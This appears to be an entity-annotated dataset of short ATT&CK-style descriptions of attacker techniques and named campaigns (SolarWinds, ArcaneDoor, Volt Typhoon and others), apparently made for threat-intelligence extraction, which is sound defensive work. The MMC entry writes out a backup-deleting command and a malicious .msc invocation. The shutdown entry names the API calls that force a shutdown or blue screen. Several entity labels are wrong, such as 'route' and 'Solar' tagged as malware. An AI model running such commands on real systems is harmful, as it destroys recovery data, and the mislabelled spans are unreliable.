+{"text": "Adversaries may gain initial access to target systems by connecting to wireless networks. They may accomplish this by exploiting open Wi-Fi networks used by target devices or by accessing secured Wi-Fi networks — requiring Valid Accounts — belonging to a target organization. Establishing a connection to a Wi-Fi access point requires a certain level of proximity to both discover and maintain a stable network connection. \n\nAdversaries may establish a wireless connection through various methods, such as by physically positioning themselves near a Wi-Fi network to conduct close access operations. To bypass the need for physical proximity, adversaries may attempt to remotely compromise nearby third-party systems that have both wired and wireless network connections available (i.e., dual-homed systems). These third-party compromised devices can then serve as a bridge to connect to a target’s Wi-Fi network.\n\nOnce an initial wireless connection is achieved, adversaries may leverage this access for follow-on activities in the victim network or further targeting of specific devices on the network. Adversaries may perform Network Sniffing or Adversary-in-the-Middle activities for Credential Access or Discovery.", "spans": {}, "info": {"source": "apt_reports", "name": "Wi-Fi Networks"}}
+{"text": "Adversaries may exploit a system or application vulnerability to bypass security features. Exploitation of a vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Vulnerabilities may exist in defensive security software that can be used to disable or circumvent them.\n\nAdversaries may have prior knowledge through reconnaissance that security software exists within an environment or they may perform checks during or shortly after the system is compromised for Security Software Discovery. The security software will likely be targeted directly for exploitation. There are examples of antivirus software being targeted by persistent threat groups to avoid detection.\n\nThere have also been examples of vulnerabilities in public cloud infrastructure of SaaS applications that may bypass defense boundaries , evade security logs , or deploy hidden infrastructure.", "spans": {}, "info": {"source": "apt_reports", "name": "Exploitation for Defense Evasion"}}
+{"text": "Adversaries may take advantage of trusted developer utilities to proxy execution of malicious payloads. There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering. These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application control solutions.\n\nSmart App Control is a feature of Windows that blocks applications it considers potentially malicious from running by verifying unsigned applications against a known safe list from a Microsoft cloud service before executing them. However, adversaries may leverage \"reputation hijacking\" to abuse an operating system’s trust of safe, signed applications that support the execution of arbitrary code. By leveraging Trusted Developer Utilities Proxy Execution to run their malicious code, adversaries may bypass Smart App Control protections.", "spans": {"SYSTEM: Windows": [[545, 552]], "ORGANIZATION: Microsoft": [[694, 703]]}, "info": {"source": "apt_reports", "name": "Trusted Developer Utilities Proxy Execution"}}
+{"text": "Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. <code>reload</code>). They may also include shutdown/reboot of a virtual machine via hypervisor / cloud consoles or command line tools.\n\nShutting down or rebooting systems may disrupt access to computer resources for legitimate users while also impeding incident response/recovery.\n\nAdversaries may also use Windows API functions, such as `InitializeSystemShutdownExW` or `ExitWindowsEx`, to force a system to shut down or reboot. Alternatively, the `NtRaiseHardError`or `ZwRaiseHardError` Windows API functions with the `ResponseOption` parameter set to `OptionShutdownSystem` may deliver a “blue screen of death” (BSOD) to a system. In order to leverage these API functions, an adversary may need to acquire `SeShutdownPrivilege` (e.g., via Access Token Manipulation).\n In some cases, the system may not be able to boot again. \n\nAdversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as Disk Structure Wipe or Inhibit System Recovery, to hasten the intended effects on system availability.", "spans": {"SYSTEM: Windows": [[663, 670], [845, 852]]}, "info": {"source": "apt_reports", "name": "System Shutdown/Reboot"}}
+{"text": "Adversaries may abuse mmc.exe to proxy execution of malicious .msc files. Microsoft Management Console (MMC) is a binary that may be signed by Microsoft and is used in several ways in either its GUI or in a command prompt. MMC can be used to create, open, and save custom consoles that contain administrative tools created by Microsoft, called snap-ins. These snap-ins may be used to manage Windows systems locally or remotely. MMC can also be used to open Microsoft created .msc files to manage system configuration.\n\nFor example, <code>mmc C:\\Users\\foo\\admintools.msc /a</code> will open a custom, saved console msc file in author mode. Another common example is <code>mmc gpedit.msc</code>, which will open the Group Policy Editor application window. \n\nAdversaries may use MMC commands to perform malicious tasks. For example, <code>mmc wbadmin.msc delete catalog -quiet</code> deletes the backup catalog on the system (i.e. Inhibit System Recovery) without prompts to the user (Note: <code>wbadmin.msc</code> may only be present by default on Windows Server operating systems).\n\nAdversaries may also abuse MMC to execute malicious .msc files. For example, adversaries may first create a malicious registry Class Identifier (CLSID) subkey, which uniquely identifies a Component Object Model class object. Then, adversaries may create custom consoles with the “Link to Web Address” snap-in that is linked to the malicious CLSID subkey. Once the .msc file is saved, adversaries may invoke the malicious CLSID payload with the following command: <code>mmc.exe -Embedding C:\\path\\to\\test.msc</code>.", "spans": {"FILEPATH: C:\\Users\\foo\\admintools.msc": [[542, 569]], "FILEPATH: C:\\path\\to\\test.msc": [[1571, 1590]], "SYSTEM: Windows Server": [[1047, 1061]], "SYSTEM: Windows": [[391, 398], [1047, 1054]], "SYSTEM: Group Policy": [[714, 726]], "ORGANIZATION: Microsoft": [[74, 83], [143, 152], [326, 335], [457, 466]]}, "info": {"source": "apt_reports", "name": "MMC"}}
+{"text": "Adversaries may attempt to hide process command-line arguments by overwriting process memory. Process command-line arguments are stored in the process environment block (PEB), a data structure used by Windows to store various information about/used by a process. The PEB includes the process command-line arguments that are referenced when executing the process. When a process is created, defensive tools/sensors that monitor process creations may retrieve the process arguments from the PEB.\n\nAdversaries may manipulate a process PEB to evade defenses. For example, Process Hollowing can be abused to spawn a process in a suspended state with benign arguments. After the process is spawned and the PEB is initialized (and process information is potentially logged by tools/sensors), adversaries may override the PEB to modify the command-line arguments (ex: using the Native API <code>WriteProcessMemory()</code> function) then resume process execution with malicious arguments.\n\nAdversaries may also execute a process with malicious command-line arguments then patch the memory with benign arguments that may bypass subsequent process memory analysis.\n\nThis behavior may also be combined with other tricks (such as Parent PID Spoofing) to manipulate or further evade process-based detections.", "spans": {"SYSTEM: Windows": [[201, 208]]}, "info": {"source": "apt_reports", "name": "Process Argument Spoofing"}}
+{"text": "Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include <code>C$</code>, <code>ADMIN$</code>, and <code>IPC$</code>. \n\nAdversaries may use this technique in conjunction with administrator-level Valid Accounts to remotely access a networked system over server message block (SMB)  to interact with systems using remote procedure calls (RPCs),  transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are Scheduled Task/Job, Service Execution, and Windows Management Instrumentation. Adversaries can also use NTLM hashes to access administrator shares on systems with Pass the Hash and certain configuration and patch levels. \n\nThe Net utility can be used to connect to Windows admin shares on remote systems using <code>net use</code> commands with valid credentials.", "spans": {"SYSTEM: NTLM": [[742, 746]], "SYSTEM: SMB": [[416, 419], [626, 629]], "SYSTEM: Windows": [[0, 7], [681, 688], [903, 910]]}, "info": {"source": "apt_reports", "name": "Windows Admin Shares"}}
+{"text": "Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.\n\nThe COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a Component Object Model (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.\n\nAdversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: Bypass User Account Control) if the victim .NET process executes at a higher permission level, as well as to hook and Impair Defenses provided by .NET processes.", "spans": {"SYSTEM: .NET Framework": [[150, 164], [848, 862]], "SYSTEM: .NET": [[118, 122], [150, 154], [237, 241], [280, 284], [433, 437], [848, 852], [1123, 1127], [1273, 1277], [1376, 1380]]}, "info": {"source": "apt_reports", "name": "COR_PROFILER"}}
+{"text": "C0027 was a financially-motivated campaign linked to Scattered Spider that targeted telecommunications and business process outsourcing (BPO) companies from at least June through December of 2022. During C0027 Scattered Spider used various forms of social engineering, performed SIM swapping, and attempted to leverage access from victim environments to mobile carrier networks.", "spans": {"THREAT_ACTOR: C0027": [[0, 5], [204, 209]], "THREAT_ACTOR: Scattered Spider": [[53, 69], [210, 226]]}, "info": {"source": "apt_reports", "name": "C0027"}}
+{"text": "Operation Wocao was a cyber espionage campaign that targeted organizations around the world, including in Brazil, China, France, Germany, Italy, Mexico, Portugal, Spain, the United Kingdom, and the United States. The suspected China-based actors compromised government organizations and managed service providers, as well as aviation, construction, energy, finance, health care, insurance, offshore engineering, software development, and transportation companies.\n\nSecurity researchers assessed the Operation Wocao actors used similar TTPs and tools as APT20, suggesting a possible overlap. Operation Wocao was named after an observed command line entry by one of the threat actors, possibly out of frustration from losing webshell access.", "spans": {"THREAT_ACTOR: Operation Wocao": [[0, 15], [499, 514], [591, 606]], "THREAT_ACTOR: APT20": [[553, 558]]}, "info": {"source": "apt_reports", "name": "Operation Wocao"}}
+{"text": "APT41 DUST was conducted by APT41 from 2023 to July 2024 against entities in Europe, Asia, and the Middle East. APT41 DUST targeted sectors such as shipping, logistics, and media for information gathering purposes. APT41 used previously-observed malware such as DUSTPAN as well as newly observed tools such as DUSTTRAP in APT41 DUST.", "spans": {"THREAT_ACTOR: APT41 DUST": [[0, 10], [112, 122], [322, 332]], "THREAT_ACTOR: APT41": [[0, 5], [28, 33], [112, 117], [215, 220], [322, 327]], "MALWARE: DUSTTRAP": [[310, 318]], "MALWARE: DUSTPAN": [[262, 269]]}, "info": {"source": "apt_reports", "name": "APT41 DUST"}}
+{"text": "FunnyDream was a suspected Chinese cyber espionage campaign that targeted government and foreign organizations in Malaysia, the Philippines, Taiwan, Vietnam, and other parts of Southeast Asia. Security researchers linked the FunnyDream campaign to possible Chinese-speaking threat actors through the use of the Chinoxy backdoor and noted infrastructure overlap with the TAG-16 threat group.", "spans": {"THREAT_ACTOR: FunnyDream": [[0, 10], [225, 235]], "MALWARE: Chinoxy": [[311, 318]]}, "info": {"source": "apt_reports", "name": "FunnyDream"}}
+{"text": "ArcaneDoor is a campaign targeting networking devices from Cisco and other vendors between July 2023 and April 2024, primarily focused on government and critical infrastructure networks. ArcaneDoor is associated with the deployment of the custom backdoors Line Runner and Line Dancer. ArcaneDoor is attributed to a group referred to as UAT4356 or STORM-1849, and is assessed to be a state-sponsored campaign.", "spans": {"THREAT_ACTOR: ArcaneDoor": [[0, 10], [187, 197], [285, 295]], "SYSTEM: Cisco": [[59, 64]], "MALWARE: Line Runner": [[256, 267]], "MALWARE: Line Dancer": [[272, 283]]}, "info": {"source": "apt_reports", "name": "ArcaneDoor"}}
+{"text": "The SolarWinds Compromise was a sophisticated supply chain cyber operation conducted by APT29 that was discovered in mid-December 2020. APT29 used customized malware to inject malicious code into the SolarWinds Orion software build process that was later distributed through a normal software update; they also used password spraying, token theft, API abuse, spear phishing, and other supply chain attacks to compromise user accounts and leverage their associated access. Victims of this campaign included government, consulting, technology, telecom, and other organizations in North America, Europe, Asia, and the Middle East. This activity has been labled the StellarParticle campaign in industry reporting. Industry reporting also initially referred to the actors involved in this campaign as UNC2452, NOBELIUM, Dark Halo, and SolarStorm. \n\nIn April 2021, the US and UK governments attributed the SolarWinds Compromise to Russia's Foreign Intelligence Service (SVR); public statements included citations to APT29, Cozy Bear, and The Dukes. The US government assessed that of the approximately 18,000 affected public and private sector customers of Solar Winds’ Orion product, a much smaller number were compromised by follow-on APT29 activity on their systems.", "spans": {"THREAT_ACTOR: SolarWinds Compromise": [[4, 25], [900, 921]], "THREAT_ACTOR: UNC2452": [[796, 803]], "THREAT_ACTOR: APT29": [[88, 93], [136, 141], [1010, 1015], [1231, 1236]], "SYSTEM: SolarWinds": [[4, 14], [200, 210], [900, 910]], "SYSTEM: SolarWinds Orion": [[200, 216]], "VULNERABILITY: password spraying": [[316, 333]], "VULNERABILITY: phishing": [[365, 373]], "VULNERABILITY: spear phishing": [[359, 373]], "MALWARE: Dark": [[815, 819]], "MALWARE: Solar": [[1151, 1156]]}, "info": {"source": "apt_reports", "name": "SolarWinds Compromise"}}
+{"text": "C0010 was a cyber espionage campaign conducted by UNC3890 that targeted Israeli shipping, government, aviation, energy, and healthcare organizations. Security researcher assess UNC3890 conducts operations in support of Iranian interests, and noted several limited technical connections to Iran, including PDB strings and Farsi language artifacts. C0010 began by at least late 2020, and was still ongoing as of mid-2022.", "spans": {"THREAT_ACTOR: C0010": [[0, 5], [347, 352]], "THREAT_ACTOR: UNC3890": [[50, 57], [177, 184]]}, "info": {"source": "apt_reports", "name": "C0010"}}
+{"text": "Operation CuckooBees was a cyber espionage campaign targeting technology and manufacturing companies in East Asia, Western Europe, and North America since at least 2019. Security researchers noted the goal of Operation CuckooBees, which was still ongoing as of May 2022, was likely the theft of proprietary information, research and development documents, source code, and blueprints for various technologies. Researchers assessed Operation CuckooBees was conducted by actors affiliated with Winnti Group, APT41, and BARIUM.", "spans": {"THREAT_ACTOR: Operation CuckooBees": [[0, 20], [209, 229], [431, 451]], "THREAT_ACTOR: APT41": [[506, 511]], "MALWARE: Winnti Group": [[492, 504]]}, "info": {"source": "apt_reports", "name": "Operation CuckooBees"}}
+{"text": "Juicy Mix was a campaign conducted by OilRig throughout 2022 that targeted Israeli organizations with the Mango backdoor.", "spans": {"THREAT_ACTOR: Juicy Mix": [[0, 9]], "THREAT_ACTOR: OilRig": [[38, 44]], "MALWARE: Mango": [[106, 111]]}, "info": {"source": "apt_reports", "name": "Juicy Mix"}}
+{"text": "CostaRicto was a suspected hacker-for-hire cyber espionage campaign that targeted multiple industries worldwide, with a large number being financial institutions. CostaRicto actors targeted organizations in Europe, the Americas, Asia, Australia, and Africa, with a large concentration in South Asia (especially India, Bangladesh, and Singapore), using custom malware, open source tools, and a complex network of proxies and SSH tunnels.", "spans": {"THREAT_ACTOR: CostaRicto": [[0, 10], [163, 173]], "TOOL: SSH": [[424, 427]]}, "info": {"source": "apt_reports", "name": "CostaRicto"}}
+{"text": "Operation Honeybee was a campaign that targeted humanitarian aid and inter-Korean affairs organizations from at least late 2017 through early 2018. Operation Honeybee initially targeted South Korea, but expanded to include Vietnam, Singapore, Japan, Indonesia, Argentina, and Canada. Security researchers assessed the threat actors were likely Korean speakers based on metadata used in both lure documents and executables, and named the campaign \"Honeybee\" after the author name discovered in malicious Word documents.", "spans": {"THREAT_ACTOR: Operation Honeybee": [[0, 18], [148, 166]], "THREAT_ACTOR: Honeybee": [[10, 18], [158, 166], [447, 455]]}, "info": {"source": "apt_reports", "name": "Operation Honeybee"}}
+{"text": "2016 Ukraine Electric Power Attack was a Sandworm Team campaign during which they used Industroyer malware to target and disrupt distribution substations within the Ukrainian power grid. This campaign was the second major public attack conducted against Ukraine by Sandworm Team.", "spans": {"THREAT_ACTOR: 2016 Ukraine Electric Power Attack": [[0, 34]], "THREAT_ACTOR: Sandworm": [[41, 49], [265, 273]], "MALWARE: Sandworm Team": [[41, 54], [265, 278]], "MALWARE: Industroyer": [[87, 98]]}, "info": {"source": "apt_reports", "name": "2016 Ukraine Electric Power Attack"}}
+{"text": "RedDelta Modified PlugX Infection Chain Operations was executed by Mustang Panda from mid-2023 through the end of 2024 against multiple entities in East and Southeast Asia. RedDelta Modified PlugX Infection Chain Operations involved phishing to deliver malicious files or links to users prompting follow-on installer downloads to load PlugX on victim machines in a persistent state.", "spans": {"THREAT_ACTOR: RedDelta Modified PlugX Infection Chain Operations": [[0, 50], [173, 223]], "THREAT_ACTOR: Mustang Panda": [[67, 80]], "THREAT_ACTOR: RedDelta": [[0, 8], [173, 181]], "VULNERABILITY: phishing": [[233, 241]], "MALWARE: PlugX": [[18, 23], [191, 196], [335, 340]]}, "info": {"source": "apt_reports", "name": "RedDelta Modified PlugX Infection Chain Operations"}}
+{"text": "2015 Ukraine Electric Power Attack was a Sandworm Team campaign during which they used BlackEnergy (specifically BlackEnergy3) and KillDisk to target and disrupt transmission and distribution substations within the Ukrainian power grid. This campaign was the first major public attack conducted against the Ukrainian power grid by Sandworm Team.", "spans": {"THREAT_ACTOR: 2015 Ukraine Electric Power Attack": [[0, 34]], "THREAT_ACTOR: Sandworm": [[41, 49], [331, 339]], "MALWARE: Sandworm Team": [[41, 54], [331, 344]], "MALWARE: BlackEnergy": [[87, 98]], "MALWARE: KillDisk": [[131, 139]]}, "info": {"source": "apt_reports", "name": "2015 Ukraine Electric Power Attack"}}
+{"text": "C0018 was a month-long ransomware intrusion that successfully deployed AvosLocker onto a compromised network. The unidentified actors gained initial access to the victim network through an exposed server and used a variety of open-source tools prior to executing AvosLocker.", "spans": {"THREAT_ACTOR: C0018": [[0, 5]], "MALWARE: AvosLocker": [[71, 81], [263, 273]]}, "info": {"source": "apt_reports", "name": "C0018"}}
+{"text": "Operation Dust Storm was a long-standing persistent cyber espionage campaign that targeted multiple industries in Japan, South Korea, the United States, Europe, and several Southeast Asian countries. By 2015, the Operation Dust Storm threat actors shifted from government and defense-related intelligence targets to Japanese companies or Japanese subdivisions of larger foreign organizations supporting Japan's critical infrastructure, including electricity generation, oil and natural gas, finance, transportation, and construction.\n\nOperation Dust Storm threat actors also began to use Android backdoors in their operations by 2015, with all identified victims at the time residing in Japan or South Korea.", "spans": {"THREAT_ACTOR: Operation Dust Storm": [[0, 20], [213, 233], [535, 555]], "THREAT_ACTOR: Dust Storm": [[10, 20], [223, 233], [545, 555]], "SYSTEM: Android": [[588, 595]]}, "info": {"source": "apt_reports", "name": "Operation Dust Storm"}}
+{"text": "Operation Dream Job was a cyber espionage operation likely conducted by Lazarus Group that targeted the defense, aerospace, government, and other sectors in the United States, Israel, Australia, Russia, and India. In at least one case, the cyber actors tried to monetize their network access to conduct a business email compromise (BEC) operation. In 2020, security researchers noted overlapping TTPs, to include fake job lures and code similarities, between Operation Dream Job, Operation North Star, and Operation Interception; by 2022 security researchers described Operation Dream Job as an umbrella term covering both Operation Interception and Operation North Star.", "spans": {"THREAT_ACTOR: Operation Dream Job": [[0, 19], [459, 478], [569, 588]], "THREAT_ACTOR: Lazarus Group": [[72, 85]], "MALWARE: Interception": [[516, 528], [633, 645]]}, "info": {"source": "apt_reports", "name": "Operation Dream Job"}}
+{"text": "FLORAHOX Activity is conducted using a hybrid operational relay box (ORB) network, which combines two types of infrastructure: compromised devices and leased Virtual Private Servers (VPS). The compromised devices include end-of-life routers and IoT devices, while VPS space is commercially leased and managed by ORB network administrators. This hybrid ORB network allows adversaries to proxy and obscure malicious traffic, making the source of the traffic more difficult to trace.\n\nThe FLORAHOX ORB network has been leveraged by multiple cyber threat actors, including China-nexus actors like ZIRCONIUM. These adversaries conduct espionage campaigns through FLORAHOX Activity, relying on the ORB network's ability to funnel traffic through Tor nodes, provisioned VPS servers, and compromised routers to obfuscate malicious traffic.", "spans": {"THREAT_ACTOR: FLORAHOX Activity": [[0, 17], [658, 675]], "TOOL: Tor": [[740, 743]], "MALWARE: ZIRCONIUM": [[593, 602]]}, "info": {"source": "apt_reports", "name": "FLORAHOX Activity"}}
+{"text": "C0015 was a ransomware intrusion during which the unidentified attackers used Bazar, Cobalt Strike, and Conti, along with other tools, over a 5 day period. Security researchers assessed the actors likely used the widely-circulated Conti ransomware playbook based on the observed pattern of activity and operator errors.", "spans": {"THREAT_ACTOR: C0015": [[0, 5]], "THREAT_ACTOR: Cobalt": [[85, 91]], "TOOL: Cobalt Strike": [[85, 98]], "MALWARE: Conti": [[104, 109], [231, 236]], "MALWARE: Bazar": [[78, 83]]}, "info": {"source": "apt_reports", "name": "C0015"}}
+{"text": "The RedPenguin project was launched by Juniper in July 2024 to investigate reported malware infections of Juniper MX Series routers. RedPenguin activity was separately attributed to UNC3886 and included the deployment of multiple custom versions of the publicly-available TINYSHELL backdoor on Juniper routers.", "spans": {"THREAT_ACTOR: RedPenguin": [[4, 14], [133, 143]], "THREAT_ACTOR: UNC3886": [[182, 189]], "SYSTEM: Juniper": [[39, 46], [106, 113], [294, 301]]}, "info": {"source": "apt_reports", "name": "RedPenguin"}}
+{"text": "Versa Director Zero Day Exploitation was conducted by Volt Typhoon from early June through August 2024 as zero-day exploitation of Versa Director servers controlling software-defined wide area network (SD-WAN) applications. Since tracked as CVE-2024-39717, exploitation focused on credential capture from compromised Versa Director servers at managed service providers (MSPs) and internet service providers (ISPs) to enable follow-on access to service provider clients. Versa Director Zero Day Exploitation was followed by the delivery of the VersaMem web shell for both credential theft and follow-on code execution.", "spans": {"CVE_ID: CVE-2024-39717": [[241, 255]], "THREAT_ACTOR: Versa Director Zero Day Exploitation": [[0, 36], [470, 506]], "THREAT_ACTOR: Volt Typhoon": [[54, 66]], "VULNERABILITY: credential theft": [[571, 587]], "VULNERABILITY: code execution": [[602, 616]], "VULNERABILITY: zero-day": [[106, 114]], "MALWARE: VersaMem": [[543, 551]]}, "info": {"source": "apt_reports", "name": "Versa Director Zero Day Exploitation"}}
+{"text": "C0021 was a spearphishing campaign conducted in November 2018 that targeted public sector institutions, non-governmental organizations (NGOs), educational institutions, and private-sector corporations in the oil and gas, chemical, and hospitality industries. The majority of targets were located in the US, particularly in and around Washington D.C., with other targets located in Europe, Hong Kong, India, and Canada. C0021's technical artifacts, tactics, techniques, and procedures (TTPs), and targeting overlap with previous suspected APT29 activity.", "spans": {"THREAT_ACTOR: C0021": [[0, 5], [419, 424]], "THREAT_ACTOR: APT29": [[538, 543]], "VULNERABILITY: spearphishing": [[12, 25]]}, "info": {"source": "apt_reports", "name": "C0021"}}
+{"text": "Frankenstein was described by security researchers as a highly-targeted campaign conducted by moderately sophisticated and highly resourceful threat actors in early 2019. The unidentified actors primarily relied on open source tools, including Empire. The campaign name refers to the actors' ability to piece together several unrelated open-source tool components.", "spans": {"THREAT_ACTOR: Frankenstein": [[0, 12]], "TOOL: Empire": [[244, 250]]}, "info": {"source": "apt_reports", "name": "Frankenstein"}}
+{"text": "Outer Space was a campaign conducted by OilRig throughout 2021 that used the SampleCheck5000 downloader and Solar backdoor to target Israeli organizations.", "spans": {"THREAT_ACTOR: Outer Space": [[0, 11]], "THREAT_ACTOR: OilRig": [[40, 46]], "MALWARE: SampleCheck5000": [[77, 92]], "MALWARE: Solar": [[108, 113]]}, "info": {"source": "apt_reports", "name": "Outer Space"}}
+{"text": "APT28 Nearest Neighbor Campaign was conducted by APT28 from early February 2022 to November 2024 against organizations and individuals with expertise on Ukraine. APT28 primarily leveraged living-off-the-land techniques, while leveraging the zero-day exploitation of CVE-2022-38028. Notably, APT28 leveraged Wi-Fi networks in close proximity to the intended target to gain initial access to the victim environment. By daisy-chaining multiple compromised organizations nearby the intended target, APT28 discovered dual-homed systems (with both a wired and wireless network connection) to enable Wi-Fi and use compromised credentials to connect to the victim network.", "spans": {"CVE_ID: CVE-2022-38028": [[266, 280]], "THREAT_ACTOR: APT28 Nearest Neighbor Campaign": [[0, 31]], "THREAT_ACTOR: APT28": [[0, 5], [49, 54], [162, 167], [291, 296], [495, 500]], "VULNERABILITY: living-off-the-land": [[188, 207]], "VULNERABILITY: zero-day": [[241, 249]]}, "info": {"source": "apt_reports", "name": "APT28 Nearest Neighbor Campaign"}}
+{"text": "Night Dragon was a cyber espionage campaign that targeted oil, energy, and petrochemical companies, along with individuals and executives in Kazakhstan, Taiwan, Greece, and the United States. The unidentified threat actors searched for information related to oil and gas field production systems, financials, and collected data from SCADA systems. Based on the observed techniques, tools, and network activities, security researchers assessed the campaign involved a threat group based in China.", "spans": {"THREAT_ACTOR: Night Dragon": [[0, 12]]}, "info": {"source": "apt_reports", "name": "Night Dragon"}}
+{"text": "Operation Ghost was an APT29 campaign starting in 2013 that included operations against ministries of foreign affairs in Europe and the Washington, D.C. embassy of a European Union country. During Operation Ghost, APT29 used new families of malware and leveraged web services, steganography, and unique C2 infrastructure for each victim.", "spans": {"THREAT_ACTOR: Operation Ghost": [[0, 15], [197, 212]], "THREAT_ACTOR: APT29": [[23, 28], [214, 219]]}, "info": {"source": "apt_reports", "name": "Operation Ghost"}}
+{"text": "Indian Critical Infrastructure Intrusions is a sequence of intrusions from 2021 through early 2022 linked to People’s Republic of China (PRC) threat actors, particularly RedEcho and Threat Activity Group 38 (TAG38). The intrusions appear focused on IT system breach in Indian electric utility entities and logistics firms, as well as potentially managed service providers operating within India. Although focused on OT-operating entities, there is no evidence this campaign was able to progress beyond IT breach and information gathering to OT environment access.", "spans": {"THREAT_ACTOR: Indian Critical Infrastructure Intrusions": [[0, 41]], "THREAT_ACTOR: RedEcho": [[170, 177]]}, "info": {"source": "apt_reports", "name": "Indian Critical Infrastructure Intrusions"}}
+{"text": "Leviathan Australian Intrusions consisted of at least two long-term intrusions against victims in Australia by Leviathan, relying on similar tradecraft such as external service exploitation followed by extensive credential capture and re-use to enable privilege escalation and lateral movement. Leviathan Australian Intrusions were focused on exfiltrating sensitive data including valid credentials for the victim organizations.", "spans": {"THREAT_ACTOR: Leviathan Australian Intrusions": [[0, 31], [295, 326]], "THREAT_ACTOR: Leviathan": [[0, 9], [111, 120], [295, 304]], "VULNERABILITY: privilege escalation": [[252, 272]]}, "info": {"source": "apt_reports", "name": "Leviathan Australian Intrusions"}}
+{"text": "Pikabot was distributed in Water Curupira Pikabot Distribution throughout 2023 by an entity linked to BlackBasta ransomware deployment via email attachments. This activity followed the take-down of QakBot, with several technical overlaps and similarities with QakBot, indicating a possible connection. The identified activity led to the deployment of tools such as Cobalt Strike, while coinciding with campaigns delivering DarkGate and IcedID en route to ransomware deployment.", "spans": {"THREAT_ACTOR: Water Curupira Pikabot Distribution": [[27, 62]], "THREAT_ACTOR: Cobalt": [[365, 371]], "THREAT_ACTOR: Water Curupira": [[27, 41]], "TOOL: Cobalt Strike": [[365, 378]], "MALWARE: Pikabot": [[0, 7], [42, 49]], "MALWARE: DarkGate": [[423, 431]], "MALWARE: route": [[446, 451]], "MALWARE: IcedID": [[436, 442]], "MALWARE: QakBot": [[198, 204], [260, 266]]}, "info": {"source": "apt_reports", "name": "Water Curupira Pikabot Distribution"}}
+{"text": "ShadowRay was a campaign that began in late 2023 targeting the education, cryptocurrency, biopharma, and other sectors through a vulnerability (CVE-2023-48022) in the Ray AI framework named ShadowRay. According to security researchers ShadowRay was the first known instance of AI workloads being activley exploited in the wild through vulnerabilities in AI infrastructure. CVE-2023-48022, which allows access to compute resources and sensitive data for exposed instances, remains unpatched and has been disputed by the vendor as they maintain that Ray is not intended for use outside of a strictly controlled network environment.", "spans": {"CVE_ID: CVE-2023-48022": [[144, 158], [373, 387]], "THREAT_ACTOR: ShadowRay": [[0, 9], [190, 199], [235, 244]]}, "info": {"source": "apt_reports", "name": "ShadowRay"}}
+{"text": "Operation MidnightEclipse was a campaign conducted in March and April 2024 that involved initial exploit of zero-day vulnerability CVE-2024-3400, a critical command injection vulnerability in the GlobalProtect feature of Palo Alto Networks PAN-OS.", "spans": {"CVE_ID: CVE-2024-3400": [[131, 144]], "THREAT_ACTOR: Operation MidnightEclipse": [[0, 25]], "SYSTEM: Palo Alto": [[221, 230]], "SYSTEM: PAN-OS": [[240, 246]], "ORGANIZATION: Palo Alto Networks": [[221, 239]], "VULNERABILITY: command injection": [[157, 174]], "VULNERABILITY: zero-day": [[108, 116]]}, "info": {"source": "apt_reports", "name": "Operation MidnightEclipse"}}
+{"text": "C0032 was an extended campaign suspected to involve the Triton adversaries with related capabilities and techniques focused on gaining a foothold within IT environments. This campaign occurred in 2019 and was distinctly different from the Triton Safety Instrumented System Attack.", "spans": {"THREAT_ACTOR: C0032": [[0, 5]], "THREAT_ACTOR: Triton Safety Instrumented System Attack": [[239, 279]], "MALWARE: Triton": [[56, 62], [239, 245]]}, "info": {"source": "apt_reports", "name": "C0032"}}
+{"text": "Quad7 Activity, also known as CovertNetwork-1658 or the 7777 Botnet, is a network of compromised small office/home office (SOHO) routers.   The botnet was initially composed primarily of TP-Link routers and was named Quad7 due to compromised devices exposing TCP port 7777 with the distinctive banner <code>xlogin</code>. Later activity showed a significant increase in compromised Asus routers and the addition of new ports and banners, including TCP port 63256 displaying <code>alogin</code>. Quad7 infrastructure functions as a collection of egress IPs that various China-affiliated threat actors have used to conduct password-spraying and brute-force operations.  Microsoft has reported that Storm-0940 leveraged credentials obtained through Quad7 Activity to target organizations in North America and Europe, including government agencies, non-governmental organizations, think tanks, law firms, energy firms, IT providers, and defense industrial base entities.", "spans": {"THREAT_ACTOR: Quad7 Activity": [[0, 14], [746, 760]], "THREAT_ACTOR: Storm-0940": [[696, 706]], "SYSTEM: TP-Link": [[187, 194]], "ORGANIZATION: Microsoft": [[668, 677]], "VULNERABILITY: brute-force": [[643, 654]]}, "info": {"source": "apt_reports", "name": "Quad7 Activity"}}
+{"text": "HomeLand Justice was a disruptive campaign involving the use of ransomware, wiper malware, and sensitive information leaks conducted by Iranian state cyber actors against Albanian government networks in July and September 2022. Initial access for HomeLand Justice was established in May 2021 as threat actors subsequently moved laterally, exfiltrated sensitive information, and maintained persistence for approximately 14 months prior to the attacks. Responsibility was claimed by the \"HomeLand Justice\" front whose messaging indicated targeting of the Mujahedeen-e Khalq (MEK), an Iranian opposition group who maintain a refugee camp in Albania, and were formerly designated a terrorist organization by the US State Department. A second wave of attacks was launched in September 2022 using similar tactics after public attribution of the previous activity to Iran and the severing of diplomatic ties between Iran and Albania.", "spans": {"THREAT_ACTOR: HomeLand Justice": [[0, 16], [247, 263], [486, 502]]}, "info": {"source": "apt_reports", "name": "HomeLand Justice"}}
